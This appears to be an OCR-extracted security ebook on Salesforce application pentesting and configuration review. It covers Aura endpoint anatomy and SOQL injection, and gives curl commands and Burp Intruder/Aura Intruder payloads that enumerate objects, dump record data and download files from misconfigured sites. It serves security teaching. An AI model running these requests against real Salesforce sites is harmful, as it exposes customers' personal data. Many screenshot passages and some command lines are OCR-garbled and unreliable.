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Overview

Salesforce is a cloud-based CRM software (What is CRM?). It makes it easier for
companies to find more prospects, close more deals, and connect with customers in
a whole new way, so they can provide them with amazing service at scale.

Businesses of all sizes make use of Salesforce CRM in some way to collect information about
customers and potential clients. It has been ranked the #1 CRM provider worldwide, with
a total market share of 21.7% for the 11t time in a row. With all of the PII that is being
stored in the Salesforce, it is bound to become a target for malicious actors, who would love
to get their hands on all this sensitive information. We are looking at Personally Identifiable
Information, lifestyle data, behavioral data, etc. This can be used for identity theft or credit
card frauds. If you're currently employed as a security engineer within your organization, a
Salesforce developer keen on securing your Salesforce app, or simply a security enthusiast,
this ebook is tailored for you.

This book provides a foundational understanding of Salesforce apps, their inner workings,
common tools and methodologies for pentesting Salesforce, as well as insights into com-
mon vulnerabilities found in Salesforce applications. Additionally, it covers tools and meth-
odologies for conducting configuration reviews.

This eBook, covers everything you need to know about Salesforce data security, including:

» Creating Salesforce Lightning Applications: Exploring Salesforce Lightning for devel-
oping dynamic apps for both mobile and desktop devices using modular, and reusable
components.

» Access Control Policies: Exploring how Record-Level Security (RLS), Field-Level Securi-
ty (FLS), and Object-Level Security (OLS) act as integral elements for the security model,

delivering meticulous control over data access and visibility.

» Salesforce Application Pentesting: Penetration testing of Salesforce Applications, and
available tools to assist with the pentest.

» Configuration Review Methodologies: a comprehensive audit of the settings, configu-
rations, and customizations within a Salesforce instance.

» Other common vulnerabilities and remediations.

5 / 59 o
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A. Lightning Component

Lightning Component is a Ul development framework like AngularJS or React. This includes
Aura components.

v

Salesforce Lightning is a component-oriented framework for developing dynamic web
apps for both mobile and desktop devices. These components are designed to be modu-
lar, and reusable, and can be assembled to create custom user interfaces within the Sales-
force platform.

v

Developers use tools like Aura components (the original Lightning Component frame-
work) or Lightning Web Components (a more recent addition that uses web standards)
to create these Lightning Components.

» Aura components can be used to perform actions on Salesforce objects—such as
viewing or updating records.

» Components have controllers that handle user interactions, processing data, and facili-
tating communication between the component and the Salesforce server or other com-
ponents. In simple words, controllers perform certain tasks via the method.

B. Apex Classes and Controllers

» Apex is an object-oriented programming language like Java that allows developers to
execute flow and transaction control statements on the server in conjunction with calls to
the Lightning Platform API.

» An Apex controller refers to an Apex class that provides the logic for a Visualforce page.
A controller holds Actions, which are functions that retrieve data from Objects (or ta-
bles). Params are passed to these functions.

» There are two types of controllers:

1. Standard Controllers, pre-formatted functions to access Salesforce objects. These
controllers will be available to all organizations using Salesforce SAAS applications

2. Custom Controllers, new functions developed to access Salesforce objects. This will
be available only to the organization that created it.

v

Apex controllers are associated with Visualforce pages and handle user input, performing
backend processing, and interacting with the Salesforce database.

NOTE: Apex classes that have methods denoted with "@AuraEnabled” are of interest to us.

Chapter 1: Key Components of a Salesforce App o
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C. VisualForce

» Visualforce is a framework that allows developers to build custom user interfaces for
Salesforce applications. It's a markup language like HTML and is used to create pages
that integrate with the standard Salesforce user interface.

» Visualforce pages can include components, controllers, and extensions, which offer a

powerful means to customize the appearance and functionality of the Salesforce user
interface.

D. Salesforce Objects and Fields

1. Objects are like database tables, used for storing data. There are two types of objects -
Standard and Custom.

2. Fields are like columns of the database. Examples- In the 'User' object, fields are
AboutMe, CompanyName, and CommunityNickname.

3. Records are like rows of the database (the actual entries of data).

(You can think of Objects as Database, Field as Column and Record as Row)

Standard Object Custom Object

Objects created by Salesforce developers to

Default objects in all Salesforce environ- o
create custom functionality. Have custom _ ¢

ments
suffix
Have standard permissions Custom permission sets
Can have custom fields Subject to user error

Interesting Objects

» Salesforce objects may contain some PIl data.

» There are 1k+ Standard objects, which may contain various types of data depending on
the context of the application.

Important Standard Objects:

» User

» Account

» Partner

» Employee
» Case

Chapter 1: Key Components of a Salesforce App o
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» Contact
»  Opportunity
» Lead

Reference: https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/
object_reference/sforce_api_objects_list.htm

Custom Objects:
» Looks like SomeNameHere ¢

E. SOQL (Salesforce Object Query Language)

» Similar to SQL (Structured Query Language), SOQL is specifically designed for querying
Salesforce's data model, which is based on objects and records.

» SOAQL is used to retrieve data from Salesforce objects such as standard and custom ob-
jects, fields, and relationships.

» SOQL only allows SELECT statements and does not support INSERT, UPDATE, or DELETE
operations. It also does not support UNION, JOIN operators, or command execution.

» SOQL supports wildcard characters using the LIKE operator.
» In SQL Injection, after performing an injection, you can comment out using '--".
However, in SOQL, there is no way to add a comment, so we need to address the '%' that

exists as part of the original query. Hence, we add an additional OR condition and end it with
a single quote, just as we thought.

Chapter 1: Key Components of a Salesforce App o
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A. Creating a Salesforce Lightning Application

1. Navigate to https://developer.salesforce.com/signup and signup.

2. You will receive an email to verify the account and note your unique administration login
portal/URL.

3. Login to the portal and enable Salesforce Communities - Navigate to Setup and Enable
Digital Experiences

a. From Setup, in the Quick Find box, enter Digital Experiences.

b. Click Settings.

c. Select the Enable Digital Experiences check box.

d. Enter the domain name.

e. Click Save.

f. Scroll to Role and User Settings and select Allow using standard external profiles for
self-registration, user creation, and login checkbox.

g. Click OK.

h. Click Save.

4. Create a Community site for your end users.
a. From Setup, in the Quick Find box, enter Digital Experiences.
Click All Sites.
Click New.
Select Salesforce tabs + Visualforce.
Click Get StartedIn the Name field, enter the name of the community (Example: Vloci-
ty_CLM_Classic_Partner_Community).
In the optional part of the URL field, enter the name.
g. Click Create.

® 20T

‘Warkspaces 2 T
P i Py S - Y-

Pentest Community « A 2dd Mexrl

e'by getting the latest A

My Workspaces Quick Links

Dashboards

Moderation Content Targeting

n Expand Your Reach with

Administration Guided Setup Communities

B Salesforce Summer ‘23 Release Notes

What's Mew
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5. Activate the Salesforce community.
From Setup, in the Quick Find box, enter Digital Experiences, and click it.
Click All Sites.

Find the partner community that you created and click Workspaces beside the name.
Click Administration.

In Settings, click Activate.

In Preferences, select the Show All Settings in Workspaces check box, and click Save.
In Members, select your own custom profile or a permission set, and click Save.

In Tabs, move Contracts to the Selected column, and click Save.

S@ ™m0 a0 T O

? 0 fura Aurcr

Settings
Preferen: cos
Me: Pentest_Community &
ittpes:l payatud-dev-ed deveiop my.sie comPentest Comminity
Co UIOrs
Tabs States Actue Deaciivate
:d Sakesfions Tats +
Tempiate  WEUAMOTE Change Tempiale
L A H:gi 3
Emails
Pages

Rich Puibfisher Apps

URL Redirects

6. Navigate to the ‘Object Manager’ to create custom objects. You can create your custom
objects with the assistance of the video - https://www.youtube.com/watch?v=vIsAn-
mlatQc&t=649s

& payaiud-dev-eddeveloplightning force.comyllighining/sel

3 Setup Home  Object Manager

- B W— S
Object Manager

LABEL = APl NAME TYPE DESCRIPTION LAST MODIFIED Cuisterm

7. Navigate to Home (Setup) and search 'App Manager'. Select the ‘New Lightning App’ to
create your own lighting application.
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Add a name and description for your application.

App Details & Brand
Give your Lightning app a name and descrip!

App Details

Vulnerabie Salesforce Lightning
Application for Courses and Cartifications

. Upload an image and choose the highlight color for its

fpp Branding

#00T0D2

&, Uplaad

Cirg
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In the App Options tab - let the default options be.

New Lightning App

App Options
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Service Setug
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10. Click on ‘Add Utility Item’ and select ‘To Do List'.

New Lightning App

Give your users qubck access 1o productiily toals.and add backgraund utliity liems 1o your 3pg

Addl Uity [e2m

= To be List PROPERTIES
To Do Lst

o Utiliey Item Progerties

Labed

11. Select the objects — Select the standard and customized items you want to include in the
web app. (Courses, Certifications, and Certification Done are the customized objects that
I've created for my app.)

Mew Lightning App

Navigation Items

iy appear, Users can perseaaline tha n tion 10 add or move can’ the hiems that you sdd. Some navigation itams
=& iterrs are dropped from the navi op is viewed in a f that tha item doesn't support

Selected Items

12. Lastly, select the user profiles/accounts that can access the web application and pro-
ceed to ‘Save & Finish.’
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Mew Lightning App

Certifications
Recently Viewed v ¢

1 item » Updated a few seconds ago Sgareh this list. B [ B | 2

Certifications Name v

Note: With apps in Lightning Experience, members of your organization can work more
efficiently by easily switching between apps. Hence to access the app, you first need to log
into the Salesforce URL and then access the application.

B. Creating a Salesforce Public Site

1. If you want to create a public Salesforce website/application that is directly integrated
with your Salesforce organization - without requiring users to log in with a username and
password, you can go ahead with the Salesforce Site creation.

Chapter 2: Creating Your Own Salesforce (Lightning/Public) App Instance o
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2. From Setup, enter Sites in the Quick Find box, and select All Sites under Digital Experi-
ences.

3. Click on the Workspaces to activate the site.

::E Setup Home  Object Manager

1 Auzhentication Asslstant
Hyperforce Assstant

Aelgase Updates

3 Subscription Management

3 Apps o
~ Feature Setfing

ings

4. Select the Administrative tile.

a Workspaces 2 Q-‘ur: Aurara
Fartast_Commusity

Il AppExchangs Packnge

My Warkspaces Cuick Links

Moderation Content Targeting Dashboards

anitar posts and comments, create rules,

Administration

Expand Your Reach with
Communities

T salesforce Summer ‘23 Release Notes

What's Mew

LWR site builders can sasiby add links to contant and layout

5. In the Settings section click on the Activate button to activate the site.
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Settlngs Q Your settings have been successfully saved,
Preferences
oo Pentest_Community
? hitps:ilpayatud-tey-sd. deveiop. my site comiPentestSammunity
Contr
Tais Satar  Actue Deactveie
Branding Sakesoime Tabs +
Tamplace Viyalforce
Login & & L
Ernalls
Pages

Rich Publisher Agps

URL Redirects

6. Configure your customized site. For example, adding objects (via tabs module) and en-
abling a Sign-Up page (via Login & Registration module)

- Mn.n.l_nciﬂra. ? G&-.--a AU

Sartest_Comenunity

Sertings Tabs

Prefergnce Sehect ine 18bs fo Ciude in This exparance. These 1805 Show 0 SN26 using iNe Salestors Tabs + Visuaiforce lempite and seteming
FRATION It e motke apo

Members
& stantard shanng rules 2ppk 1o ail reconts. Learm Marg
i
Avaiiable Tabs Selected Tabs

Tat
Brand

i up
Login B Registration s
Ernaif >

Dow

Pages

7. After everything is done you can access the site via the URL.
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¢+ O & payatud-deved

Pentest_Community

Chatter  Contacts i-""l.':'im... Certifications Done  Courses  Dashboards.
& Home
| resorns e R,
=
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Recent Certifications o) ecenlly Vewe v
W Recycle Bin

Mo recent records. Chek Go or sesact @ view fram the drapdown to eplay reconds
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C. Create Lightning Web Component

Pre-Requisites:

» Install the Salesforce Extension Pack extension for the VSCode:
» https://marketplace.visualstudio.com/items?itemName=salesforce.sales-
forcedx-vscode

Salesforce Extension Pack
- - N

Extension Pack [9)

o Apex Debugger
It e L

Aura Components Visualforce
c ~editing features for Aura C o ax highlight
: g

Salesforce Extensions for Visual Studio Code

» Install the Salesforce CLI: https://developer.salesforce.com/tools/salesforcecli
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Development:

1. Create a new SFDX project. Hit CTRL+Shift+P in VSCode and select SFDX: Create
Project

recently used &3

rebugging

2. This will generate the following code base.

=\ %' +Name+'%\ " ';

4. Create a new LWC that uses the class by using SFDX: Create Lightning Web Component

Chapter 2: Creating Your Own Salesforce (Lightning/Public) App Instance o
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J5 accountNameSearch.js X accountMameSearch.htm

ain > default > lwe » accountNames
rt { LightningElement }
port NAME FIELD from ‘@sal
rt TYPE FIELD froi ;
© RATING FIELD from
t PHONE FIELD from '

ort myfilteredaccounts fron
;T COLUMNS =
{ label: 'Account Name', fieldName: MAME FIELD.fieldApiName, type:
[ label: ‘Account Typ fieldName: TYPE FIELD.fieldApiName, type:
{ label: 'Rating fieldName: RATING FIELD.fieldApiName, type: 'fex
{ label: ‘Phone', fieldName: PHONE FIELD.fieldApiName, type:
rt default class AccountNameSearch extends LightningElement {
columns = COLUMNS;
accSearchName;
acclist;
isAccountavailable=false;
handleFilter(event) {
.accSearchName = event.target.value;

handleSearchi )

this.isAccountavailable = false;
myfilteredaccounts({Name:this.accSearchiName}
.then(result=>{
.acclist=result;
.error=null;
if(this.acclist.length=8){
.isAccountavailable = true;

}
.catchierror=={
this_error=error;
.acclisi=

ums 3¥ KaliMetHunter = Esploit-DE & Google Hacking D8 i OffSec

Authentication Successful
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6. Use SFDX: Deploy this Source to Org to push the LWC and Apex class to your org.

|¢ SFOICSOMH Praject - Vil Stulin Code. =¥ gl |
Fite Edit Selection View Go Run Terminat Help

G0 to Definition

Sesrch Account Uting Name

E T

¥y Deals - Recent Opporiunities ey Mems to Apprave

Gt o 0n Me AppERthings
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Within the Salesforce platform, Record-Level Security (RLS), Field-Level Security (FLS),
and Object-Level Security (OLS) stand as integral elements of the security model, delivering
meticulous control over data access and visibility.

Let's delve deeper into the specifics of each of these concepts.

A. Record Level Security (RLS)

» RLS in Salesforce refers to the capability to restrict access to individual records based on
certain criteria.

» RLS is often implemented using features like roles, sharing rules, manual sharing, and
criteria-based sharing rules.

» It ensures that users can only view and operate on records that they have the appropriate
permissions to access.

B. Field Level Security (FLS)

» FLS controls the visibility and editability of fields on objects in Salesforce.

» Administrators can use FLS settings to determine which fields are visible, read-only, or
hidden for different profiles.

» FLS settings are crucial for protecting sensitive data by controlling who can view or modi-
fy specific fields on records.

C. Object Level Security (OLS)

» OLS in Salesforce determines the overall access to an object, including the ability to cre-
ate, read, edit, and delete records of that object.

» OLS is controlled by a combination of profile settings and permissions.

» The "Read," "Create," "Edit," and "Delete" permissions on an object are set at the profile
level, defining what actions users with that profile can perform on records of that object.

Chapter 3: Access Control Policies in Salesforce o
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To summarize,

» RLS is about controlling access to individual records. It's implemented through features
like roles, sharing rules, and criteria-based sharing rules.

» FLS is about controlling access to individual fields on objects. It determines which fields
users can see and edit on records.

» OLS is about controlling overall access to objects, including the ability to create, read,
edit, and delete records of that object.

Reference: https://trailhead.salesforce.com/content/learn/modules/data_security/data
security records
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To initiate the penetration testing of Salesforce applications, it's crucial to first gain a
comprehensive understanding of the Aura framework and endpoints.

Aura Framework

Aura Framework is used by Lightning components to send and receive data from Salesforce,
which is then displayed through a web application.

Web App «— | Lightning Component |¢——— Aura Request «——» Salesforce Object

Client Side Data Flow Server Side

A. Anatomy of Aura Endpoint

» Messages - It describes the desired action. In a single aura call, several methods can
be executed. This structure has a list of actions that include the call parameters and the
method's descriptor, which is the method's unique identifier.

The message structure is a URL-encoded JSON. (In the figure below, we have URL-
decoded it for better understanding)

e id —arandom string that can be used when sending more than one action in a single
request. That way the browser can match actions and responses.

» descriptor — the specific method to call.

* callingDescriptor — Usually "UNKNOWN," as this parameter is often ignored
* params - parameters that are passed to the apex class method, and their type
* rt - Return value type

» Namespace - Consider it as a bundle that organizes interconnected components
together.

» Descriptor - A reference to a component in the form ‘'namespace:component’.
Our topic of interest is the message parameter and, very specifically the “descriptor” and
“params”.

Example of an Aura POST Request:

Chapter 4: Salesforce App PenTesting o



o Payatu Securing Salesforce: A Guide to Pentesting and Config Review

POST /s/sfsites/aura HTTR/Z

Host:

Content-Length: 562

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

message=1"actions": [
£
Ry L -
"descriptor":"aura://ListUiController/ACTIONS$getListsByObjectName",
"callingDescriptor" : "UHNKNOWN",
"params" :{
"obijectApiName" :"ContentDocument"
}
b
1r
&aura.context={
"mode" : "PROD",
" fyuid" : " MDMOCO1pMVULd244bVVLE2VRY ZQ2UnWRk dk SxFiWx I amSGe GwOLULMRHRY Q3c yNDY UMT UUNCOZL j AUNA"
"app":"siteforce:communitydpp",
"loaded" :{
"APPLICATIONG@markup://siteforce:communitydpp” " OuyRlc-Hz-1yledOwrFdg",
" COMPONENT @markup: //instrumentation:ollySecondaryloader" : "Cpu- nBuFEwwb tqFxYd70hw"
} ’
venta [,
"globals":{},
"uad" :false
i
&aura.pageURI =%:2Fs%2F
Eaura.token=null

Attributes to Note:

» Post Request message param

» "“descriptor” and “params” key-value pairs that are within
» entityNameOrld in message JSON

» aura.context

» aura.token

B. Anatomy of Salesforce File Endpoint

Salesforce File Handling:

» Each file has a unique file identifier

» There are 3 major objects Salesforce uses to deal with files
« Document
« ContentDocument
. ContentVersion

» The below image shows the message parameter setup to list all files in the ContentDoc-
ument object
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message={
"actions':[
{
s ot e o R
"descriptor":
"seryiceComponent: //ui.force.components.controllers.lists.selectablelistDataProvider.Se
lectableListDataProviderController /ACTIONS$getItems",
"callingDescriptor": "UNKNOWN",
"params":{
|'entityNameOrId": "ContentDocument" |
"LayoutType": "FULL",
"pagesSize": 100,
"currentPage":0,
"UseTimeout":false,
"getCount":false,
"enableRowhActions":false
}
}
]

}

» The response will contain various file related metadata, including an Id that can be used
to download the file

{
"actions": [
{

gt N2 3aal,

"state": "SUCCESS",

"returnValue":{

"result’: [
{
"record":{
"LastModifiedDate": "2022-03-11T16:07:41.000Z",
"astModifiedDate. T":i"3/11/2022, 4:07 PM",
"Description':null,
"CreatedDate": "2022-03-11T16:07:29.000Z",
o B o e o 2 O P 1 8 P 0
"Id":"BEBEKDDQQEBDBQfAAH",
"LastModifiedById": "005Z2x000003RYLOAAS",
"SystemModstamp": "2023-11-23T11:16:59. 000Z",
"CreatedDate: FY:"3/1172022, 4:07 PM",;
"sobjectType": "ContentDocument"”
1

}

]
}f

"error":|
]
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A. Lightning Burp

» https://github.com/salesforce/lightning-burp

» Helps with formatting and modifying Salesforce lightning requests
» Compile with maven mvn clean install, and importitin Burp

» You can now view and edit Salesforce lightning requests with ease

I} spplications Places Systen o & F mon Hov o0, 12523
Burp Suite Community Edition v2023.18.1.1 - Temporary Project =i Aa) 8

Burp Project Intreder Repeater View Help

Bashbeard Target Proxy Intreder  Repeatér  Collaberator Senuencer becoder Lorparer Logger organtzer Extensions Learn EFsettings
[ PRI oSl S T S I

I & oo Target! mwe mmm—— 7 HTTE/2 (3

Request

3

Controdler Wi, come. runtise. COBBANENtS.aura. coMponents, sitefarce . cetwnrk, tracking.NetworkTrackingontroller Method (createioghecord
I

@ highlights

@ hightights

1,95 bytes | 339 millis

B. Aura Intruder

In misconfigured websites, the attacker can perform recon by looking for information about
the organization, like users, objects, and fields that expose names and email addresses, and
in many cases, they can access the system or steal information.

» https://qgithub.com/pingidentity/Auralntruder
» Automates Object data leak discovery using aura framework recon:
» Salesforce Object Discovery
o Custom Object Discovery
+ Object Data Discovery
« Public File Discovery and Download

. Salesforce Object Discovery

» Run the following curl command:

curl -k https://example-salesforce-site.com/s/sfsites/aura -d 'message={"ac-
tions": [{"id":"123;a","descriptor":"serviceComponent://ui.force.components.
controllers.hostConfig.HostConfigController/ACTIONSgetConfighata", "callingDe-

Chapter 4.1: Burp Extensions for Salesforce o



https://github.com/salesforce/lightning-burp
https://github.com/pingidentity/AuraIntruder
https://inc-word-edit.officeapps.live.com/doc/salesforce-object-discovery-j2OiTyMtiG
https://inc-word-edit.officeapps.live.com/doc/custom-object-discovery-zeIouHRfH2
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controllers.hostConfig.HostConfigController/ACTIONSgetConfighata", "callingDe-

scriptor" :"UNKNOWN", "params":{}}]}&aura.context=

{"mode" : "PROD", "fwuid" :"MD-

MOcO01lpMVUtd244bVVLc2VRYzZQ2UWRkdAk8xRWxIam5GeGwOLUIMRHRYQ3cyNDYuMTUuUNCOzL-

JAUNA", "app":"siteforce:communityApp", "loaded"

: {"APPLICATIONGmarkup://

siteforce:communityApp":" OuyRlc-Hz-jyle6OwrFdg", "COMPONENT@markup://in-
strumentation:ollySecondaryLoader":"Cpu-nBuFEwwbtgFxYd7Qhw"},"dn":[],"glo-

bals":{},"uad":false}&aura.pageURI=/s/&aura.token=null'

turnValue.apiNamesToKeyPrefixes |keys unsorted[]

|jg '.actions[].re-

Using Aura-Intruder
» Send any aura POST request to intruder
» In the extension, click on Salesforce Object Recon
J\'lu:uuﬂs aces AN W Wed Nov 1, 14:26)
Burp Suite Community Edition v2823.18.1.1 - Temporary Froject
Burp Project Intruder Repeater Wiew Help
bashbosrd Target Presy Intreder Repsater Collahorater Sequencer Deceder Conparer Logger orgamizer ExT#ns1sng Learn Aura Intruder i Sattangs
Salesforce Object Recen
Gt custem Gjects
Get Salesforce standard chject data
Nownlzad files from respense
» Inintruder, delete the data of the message param and set it as the entry point
Add §
Target: B vpsate Hest header to match target
s g Clear §
':“.'E Auta §
Refresn
| Content-Langth: 25
Sgc.ch-Ua:
winma; =) toplewebiit537,36 (kHTEL, Like Dackol chromes117,0,5538, 63 Satar: /537,35
ncedad; charsst=UTF- &
dei curs
L oanpty
# dccept-Encedings qzip, seflate. br
20 Accept-Language: en- 08, en-US;g=D.%, en;q=0.8
- e ur o Giitat=
Bt ra. pags LAl S ZFsAZFGaura; tokanmrull
FE e |2 1 highlight Clear
1 payload position Length: 1851
>
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3 Applicotions Places Systen o o Wed oy 1, 1
BT Suite Cammmity Editian 8.1.3 = Tenparary Fraject = o

Burp Froject Intruder Repeater view Help

Oaskhoard  Targek  frowy L

troder  Repeater  Collaborater  Sequencer  Decoder  Campsrer  Logger  Orgamizer  Extensians  Learn  Aura Introder ¥ settings
1« 2 = 3. “ 0 &
PositTiens Payloads Reseurce pool Sef1ings

© Potond sets [Cstart ntias |

ViU can defire ces or sore paylead 4ets, The nunber nf paylosd sets depesds on the sCtack type defimed in the Positipec tsh. Yarious payload tyses are svailable for each paylsad cet, ard each paylead type cas be custonized in
different ways.

Paylead set: 1 Paylead counts unkeawn
Paylead type: Extenslon-gererated o FEqUEsT ounts unkeswn

() Payload settings [Extension-generated]

This payload typs imvokes @ Burp extension to generate paylosds, — - — _—
Select payload generater

Selected generater: Aura payloads

Select the extension-prowided payload
generator that yoa want to wse, Burp
extensions can be loaded using the Extender
teal.

Select gemerator ...

(31 Payload processing
¥oul ¢an define mules to perform various precessing tasks on each paylsad before it is W Extension payload geseratar: hura payleads o

Add Enabled Risle (3 cancel

Edit |

(7) Payload encoding
This setting can be wsed To URL-encode selected characters within the Tisal payload, for safe transmission within HTTE requests,

& tAL-encede these characters: =728

» Click Start Attack to list all Salesforce Objects, both standard and custom.

5 Applications Places Systen A R e Mov 3, 20T
Eurp Suite Community Edition vZezs.i¢.l.l — Tenporary Project DA TS

Burp Project Istrider Repsater View Help
Dashboard  Targst  Proxy Intreder  Repeater  Collaborator  Sequemcer  Decoder  Comparer  Logger  Organizer  Extensions Learn  Aara Intruder B SpTtings
L 3 4% 5. B+ B i
[ send Ko =L Jjele Target: 2 e (5
Requast Response M=% | mspecter w = = @ x
E B B = | pretty 8 9 = | foguest artrisutes -
Reguest query parameters 3w
leeforos, cont Reguest bedy parameters 4w

"Hat kmBrand®;y="g"

feguest cookles B v
Reguest headers B~
Response headers 15

*CenTentanrkepscaNanbers s ORL:
*ProcessIretancenorkits
*Contentaorkapace ;" 0

Sac-Fetch-SLte: samn-orign
17 Sac.Fatch-Made: cors

dtontentSp
15 Sac. Futeh-Dugt: gty Pialahe s
Ratare “EntityFartic
*Recordry) .

* audisne i
* ContantDocunantHiatory®
L

Mo Typalocalization”

*UssrListRrefersn
LecatienFis

Sara.pageLAL=
Esaura. tokan-null

spicklimtyalyainfos

B Righiights 5| | 5ea E B highlights

7,893 bytes | 335 millis

Il. Custom Object Discovery

h 47: F ions f
» Run the following cuk aqagpgtf%rrlra@noﬁurp xtensions for

curl -k https://example-salesforce-site.com/s/sfsites/aura -d 'message={"ac-
tions": [{"id":"123;a","descriptor":"serviceComponent://ui.force.components.
controllers.hostConfig.HostConfigController/ACTIONSgetConfighata", "callingDe-
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scriptor" :"UNKNOWN", "params":{}}]}&aura.context={"mode" :"PROD", "fwuid" :"MD-
MOcOlpMVUtd244bVVLc2VRYzQ2UWRkdk8xRWxTam5GeGwOLUIMRHRYQ3cyNDYuMTUuNCOzL -
JAUNA", "app":"siteforce:communityApp","loaded": {"APPLICATIONG@markup://
siteforce:communityApp":" OuyRlc-Hz-jyle60OwrFdg", "COMPONENT@markup://in-
strumentation:ollySecondaryLoader":"Cpu-nBuFEwwbtgFxYd7Qhw"},"dn":[],"glo-

bals":{},"uad":false}&aura.pageURI=/s/&aura.token=null' |jg '.actions[].re-

turnValue.apiNamesToKeyPrefixes |keys unsorted[]' |grep -Eo '\wt+t c'

Using Aura-Intruder

>

Save the results attribute from the response of Salesforce Object Recon request in a file
called custom_object_check.json, in the files directory of Aura Intruder.

» Click on Get Custom Object button from the extension Ul

i) applications Places Systen W o O Wed Now 3, 15708
Burp Sulte Community Edition v2033.10,3.3 — Temmorary Project
Burp Project Istruder Repeater View Help

Dashhoard  Target  Prowy  Intruder  Repeater  Collaborator  Segeencer Decoder  Cosparer  Logger Organizer  Extensions Learn  Awrs Intruder A Settings

salesforce Ohject Recon

et custon Objects

Get Salestorce standard coject data

Download files from respanse

» Check the output in the Extension tab

il anplications Flaces Systen W o [ wWed Nov 3, 15782

Burp Sulte Comunity Edition v2023.10.1.3 — Tewporary Project
Burp Project Istruder Repealer View Help

Dashboard  Target  Proay  Intrader  Repeater  Collaborator  Seswencer  Decoder

Comparer  Logger  Organizer  Extensions  Learn  Asra Intruder
Installed  BApp Store  API=  Behecks

A8} Settiegs
G Extenslons settings
T1 Total estisated systes inpact;  Low SEE—
Burp extens ions
Extensions let you customize Burp's behavier using your own or third-party code.

add Loaced Type

Haze System impact
Remvr Java WET Beautifier Low
Java InQL - GraphQL Scanmer High
up Tava Tarkd Int rider Hediim
Oman 8 Python Mara Tnteider Lok
Detalls Output Errors
Outpat ta system console (@]
Save to file: Setect Tile ...

@ Show_in ULt

@) &Y clear | [&] 3 50

@ highlights
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1. Object Data Discovery

Manual

» Change the value of the message parameter, URL encoded, and send it to burp intruder

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.
components.controllers.lists.selectablelListDataProvider.SelectablelL-
istDataProviderController/ACTIONSgetItems","callingDescriptor":"UN-

KNOWN", "params": {"entityNameOrId": "PAYLOAD","layoutType":"FULL", "page-
Size":100, "currentPage":0,"useTimeout":false, "getCount":false, "enableRowAc-

tions":false}}]}

» Mark the string PAYLOAD as the injection point. It is the value of the entityNameOrld
key in the above JSON

» Your payloads list will be all Salesforce objects. Use this page for reference.

» Add custom objects to that list too.

» Typically, you want to look at responses with length 2k or greater, and those whose state
is not ERROR.

Using Aura-Intruder

Standard Objects:

» Send any aura POST request to intruder

» In the extension, click on Get Salesforce Standard Object Data

A o 0 wed Nov 113080

) aoplications flaces Systen

Burp Suite Comunity Editien v2023.10,1.1 - Temporary Project

Burp Project Intruder Repeater View Help
Dashtoard  Target  Prowy  Intruder  Fepeater Collaborator  Sequencer Decoder  Comparer  Logger  Organizer  Extensiens  Learn  Awra Intreder {0} Settings

satestorce Object Recon

Get custea Dhjects

Get Salesforce standars object data

Dewslaad Tiles from recponse
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» Inintruder, delete the data of the message param and set it as the entry point

Aod §
iz B vpoate Host header to match target

Clear §
Auta §
Refresn

1 Crnveﬂf-l.'l'\qthi o654 5

; owinma; wnad spplewsbnitysar, 36 (kHTPL, Like Ceckol chromes117,0.5538. 69 safariy
odad) charsatelTF. &
1
# Arept-Encedings gILp, ceflate, br
Balra. pags LAl Az Eaura. tokanerull
B lejz) [reurel S| 1 highlight | Clear
1 payiaad position Lengths 1851

» Set the payload as extension-generated and select the aura payloads extension

53 Applicotions Ploces Systen ; =

Barp Suite To

nity Edition y2 1.1 - Tewgorary Fraject -

Burp Project Intruder Repeater Wiew Help
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different ways.

ks

Paylead sem 1 Paylead <o
Payload typer Extension-gertrated o Feduest counts unkesmn

Payload settings [Extension-generated]

Teis paylosd type Levokes a Burp extension to generate payloads, — e e -

| select payload generator C
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(%) Payload processing
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At Enabied Rule K cancel

) Payload encoding

This setting can be wsed To URL-encode selected characters withie the Tisal paylead, for safe transaission within HTTP requests,

@ FL-encode these characters:

2745

» Click Start Attack to get data from all Salesforce Objects. Typically, you want to look at
responses with length 2k or greater, and those whose state is not ERROR
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Custom Objects:

» Send any of the above requests to repeater.

» In the message parameter’'s JSON object, change the EntityNameOTrID attribute’s value
to the custom object you want to enumerate and send the request.

1) Applications Places Systen N wed Mo 1, 15531
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IV. Public File Discovery and Download

» There is a way to download files with the Aura Intruder extension, but it is better to do it
manually.
» Checkout Salesforce Object Data discovery. List data of the following objects:
« Document
« ContentDocument
« ContentVersion
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» Using the Id, we can now download files using the following command:

curl "https://$DOMAIN/sfsites/c/sfc/servliet.shepherd/document/download/S$SID" -k

-o SOUTPUT FILE
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» Look for the string apex:// (request) and compound://c (response), both in plaintext and
URL encoded in all your burp history

» Below is an example of what you might come across:

{
Mgt IEY:
"descriptor:"markup://c:Ancestry Motification",
"rl":true,
ol
"descriptor":"compound://c.Ancestry MNotification®,
"ac": [
{
"n":"getActiveAlerts",
"descriptor": "apex://Ancestry MNotification/ACTION$getActiveAlerts",
tatt: "SERVER",
"rt":"apex://List<Ancestry Notification_c=",
"pa": [
{
"name":"communityMame",
"type":"apex://String"
}
1
}
]
g b,

» This controller needs one param, communityName of type string

A. Interacting with Custom Controllers

» To call controllers, use any aura POST request, and replace the message param with the

following:
{"actions":[{"id":"46;a","descriptor":"DESCRIPTOR", "callingDescriptor":"UN-

KNOWN", "params": { "PARAM _NAME":"PARAM VALUE"}}]}
» id is completely irrelevant, input 1337 if it makes you feel better.
» descriptor is the controller and the method we are calling

» callingDescriptor contains the componentDefMarkup string, you can put UNKNOWN
as the value

» params are the params the method accepts. The type of the param is also specified.

B. Find more info about Apex Controller:

» You can use the auraCmpDef endpoint to list an entire apex controller

» Send the following GET request, replacing the corresponding values:
/auraCmpDef?aura.app=MARKUP URL& au=AU VALUE& ff=DESKTOP& l=true& cssvar=-

false& c=false& 110n=en US& style=-1450740311¢& density=VIEW ONE& def=APEX
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CLASS MARKUP URL

» Value of [aura.app](http://aura.app) can be found by searching for the string APPLICA-
TION@

» Value of _au is the weird string that is listed against aura.app

"logded": aura.app _au
"APPLICATIONEmarkup://siteforce:communityApp 'i: ’[_Dulec -Hz-jyle60wrFdof
3¢

» Value of _def is the markup URL of the class you want to search for

> You will get the below 302 responses, following which you will get all the functions for
just that particular class.

Request Response

LESTS
nax-age=0, no-store, private

@@ ¢ > s O ohighlights (248} & > [sean O ohighlights

» Example of an Apex controller dump:

SA.componentService.addComponent ("markup://c:Ancestry Notification", function/()

{

/*$A.componentService.addComponentClass ("markup://c:Ancestry Notifica-

tion", function () {
var def = $A.componentService.getDef ("markup://c:Ancestry Notification");
return S$SA.lockerService.createForDef (
"return {
